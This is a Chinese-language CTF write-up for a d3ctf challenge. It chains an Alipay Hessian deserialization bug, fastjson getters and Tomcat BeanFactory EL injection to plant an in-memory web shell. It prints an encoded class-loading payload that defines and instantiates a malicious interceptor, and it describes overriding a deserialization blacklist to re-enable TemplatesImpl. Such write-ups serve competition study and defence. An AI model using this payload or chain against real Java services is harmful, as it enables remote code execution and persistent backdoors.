前言
这次的d3ctf 因为在五一假期有事,只看了一个题,还好做出来了,当时环境崩了不然可以一血可恶呀
之前出校赛题的时候正好对alipay的hessian有点研究,这次思路就比较顺畅,没想到还是打了一个非预期(
解题
思路其实很明显,通过register的反序列化拿下权限注入内存马,然后通过内存马修改/blacklist/jdk/get
页面的返回值来对server造成反序列化完成攻击,首先的hessian反序列化处黑名单很多,ban了很多东西,那么就是需要找新类来利用了,首先就是equals到tostring的链,Xstring是在黑名单的,但是alipay的hessian是用的存在CVE-2021-43297的版本所以可以直接通过畸形数据完成到Tosting的调用,然后通过fastjson的tosting调用到任意类的getter方法,这里其实找一下就可以找到利用类是javax.naming.spi.ContinuationDirContext
这个类是hessian原有链中就已经利用过的类,用来加载jndi Reference远程类的。但是在jdk版本 JDK 11.0.1、8u191、7u201、6u211
后被限制所以这里使用org.apache.naming.factory.BeanFactory
来完成绕过打el表达式注入内存马
1 | String x = "var str='yv66vgAAADQA8QoANQB5CQB6AHsJADEAfAoAfQB+CgB/AIAIAIEKAH8AggoAgwCEBwCFCgAJAIYIAIcKAAkAiAoACQCJCgAJAIoIAIsLAIwAjQoAfQCOCACPCACQCACRCgCSAJMKAAkAlAgAlQgAlgsAlwCYCwCXAJkKAJoAmwoAmgCcCgCaAJ0LADYAngsANgCfCACgCgChAKIIAKMLAKQApQcApgcApwsAJACoBwCpCACqCgCrAKwHAK0KACoArgoArwCwCgCvALEHALIHALMKAC8ArgcAtAoAMQB5CwAuALUIALYHALcHALgBAARudW1zAQABSQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAkTGNvbS9qYXZhL3BheWxvYWRzL21hZ2ljSW50ZXJjZXB0b3I7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXN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ADwAAAAKAAIAAABqAAkAawA9AAAANAAFAAAACgA+AD8AAAAAAAoARQBGAAEAAAAKAEcASAACAAAACgBJAEoAAwAAAAoAXABdAAQAWAAAAAQAAQBZAAEAXgBfAAIAOwAAAGAABQAFAAAACiorLC0ZBLcAH7EAAAACADwAAAAKAAIAAABvAAkAcAA9AAAANAAFAAAACgA+AD8AAAAAAAoARQBGAAEAAAAKAEcASAACAAAACgBJAEoAAwAAAAoAYABhAAQAWAAAAAQAAQBZAAgAYgA6AAEAOwAAAXEAAwAFAAAAbgSzAAOyAAISILYAEbgAIRIiA7kAIwMAwAAkSyoSJbkAJgIAwAAlTAFNEicSKLYAKU2nAAhOLbYAKywEtgAsAU4sK7YALcAALk6nAAo6BBkEtgAwuwAxWbcAMjoELRkEuQAzAgBXsgACEjS2ABGxAAIAKQAxADQAKgBAAEkATAAvAAQAPAAAAE4AEwAAAB0ABAAfAAwAIAAbACEAJwAiACkAJAAxACcANAAlADUAJgA5ACgAPgApAEAAKwBJAC4ATAAsAE4ALQBTAC8AXAAwAGUAMQBtADIAPQAAAEgABwA1AAQAYwBkAAMATgAFAGMAZQAEABsAUgBmAGcAAAAnAEYAaABpAAEAKQBEAGoAawACAEAALQBsAG0AAwBcABEAbgA/AAQAbwAAAAwAAQBAAC0AbABwAAMAUAAAAC0ABP8ANAADBwBxBwByBwBzAAEHAHQE/wASAAQHAHEHAHIHAHMHAHUAAQcAdgYAAQB3AAAAAgB4';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();"; |
然后就可以控制页面的返回值了。server的原生反序列化的黑名单是可以被覆盖的,所以我们先更新原生的黑名单把TemplatesImpl
放出来。然后就可以直接打fastjson的原生反序列化了,同样因为不出网所以我们也得加载内存马
register的内存马:
1 | public class magicInterceptor implements HandlerInterceptor { |
server的内存马:
1 | public class magicInterceptor extends AbstractTranslet implements HandlerInterceptor { |
然后攻击步骤就是先通过/hessian/deserialize
路由反序列化,然后一直刷新/client/status
就可以完成攻击。
预期解
问了下出题人又是膜 wh1t3Pig 的一天
这个题的预期是利用题目给的Result类,通过这个类完成到tostring的调用。难点应该就是如何去构造2个类不同但是hashcode相同。目前还没有发现怎么构造,有研究的师傅欢迎来找我讨论一下(
已经成功复现了,前来更新一下
因为这里的限制不能用常规的直接2个map的value去触发o对象的tostring然后可以注意到这个类的message这个变量是object类型,然后在该类的tostring中会触发StringBuilder的append方法。然后这个方法中会调用
这个位置就可以出发JSONObject的Tostring方法了,然后后续的调用不变即可
1 | JSONObject jsonObject = new JSONObject(); |
调用栈
1 | write:312, JSONSerializer (com.alibaba.fastjson.serializer) |